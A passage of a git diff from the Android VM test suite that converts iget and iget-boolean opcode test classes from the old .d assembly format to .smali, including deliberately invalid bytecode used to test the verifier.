-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_6.java
-.class public dot.junit.opcodes.iget.d.T_iget_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget/TestStubs/<init>()V
-
-       iget v1, v0, dot.junit.opcodes.iget.TestStubs.TestStubField I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali
new file mode 100644
index 0000000..f4bc9c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_6.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/TestStubs;-><init>()V
+
+       iget v1, v0, Ldot/junit/opcodes/iget/TestStubs;->TestStubField:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.d
deleted file mode 100644
index a68b0f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_7.java
-.class public dot.junit.opcodes.iget.d.T_iget_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_7no_class.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali
new file mode 100644
index 0000000..cdb5c1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_7.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_7no_class;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.d
deleted file mode 100644
index 9fc3b75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_8.java
-.class public dot.junit.opcodes.iget.d.T_iget_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_8.i1N I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali
new file mode 100644
index 0000000..89e4eb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_8.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_8;->i1N:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.d
deleted file mode 100644
index 268398c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_9.java
-.class public dot.junit.opcodes.iget.d.T_iget_9
-.super java/lang/Object
-
-.field public  val F
-
-.method  <clinit>()V
-.limit regs 2
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()F
-.limit regs 4
-
-       const v0, 0
-       iget v1, v0, dot.junit.opcodes.iget.d.T_iget_9.val F
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali
new file mode 100644
index 0000000..3cb0e58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_9.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_9;
+.super  Ljava/lang/Object;
+
+.field public  val:F
+
+.method  constructor static <clinit>()V
+.registers 2
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()F
+.registers 4
+
+       const v0, 0
+       iget v1, v0, Ldot/junit/opcodes/iget/d/T_iget_9;->val:F
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.d
deleted file mode 100644
index 23b0a93..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_1.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1
-.super java/lang/Object
-
-.field public  i1 Z
-.field protected  p1 Z
-.field private  pvt1 Z
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const/4 v0, 1
-       iput-boolean v0, v1, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.i1 Z
-
-       const/16 v0, 1
-       iput-boolean v0, v1, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.p1 Z
-
-       const/16 v0, 1
-       iput-boolean v0, v1, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.pvt1 Z
-       
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali
new file mode 100644
index 0000000..0d79556
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali
@@ -0,0 +1,48 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_1.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+.field protected  p1:Z
+.field private  pvt1:Z
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const/4 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->i1:Z
+
+       const/16 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->p1:Z
+
+       const/16 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->pvt1:Z
+       
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.d
deleted file mode 100644
index 540ecc5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_11.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_11
-.super dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.p1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali
new file mode 100644
index 0000000..35b9f19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_11.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_11;
+.super  Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->p1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.d
deleted file mode 100644
index e0a918f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_12.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_12
-.super dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.pvt1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali
new file mode 100644
index 0000000..e9122eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_12.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_12;
+.super  Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->pvt1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.d
deleted file mode 100644
index 50ad238..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_13.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_13.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali
new file mode 100644
index 0000000..0214be4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_13.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_13;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.smali
new file mode 100644
index 0000000..25edd32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_14;
+.super Ljava/lang/Object;
+.source "T_iget_boolean_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-boolean v0, p0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.d
deleted file mode 100644
index 9b165d9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_15.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali
new file mode 100644
index 0000000..c17fa98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_15.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.d
deleted file mode 100644
index 8eb7f27..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_16.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali
new file mode 100644
index 0000000..9366295
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_16.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.d
deleted file mode 100644
index 499c796..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_17.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
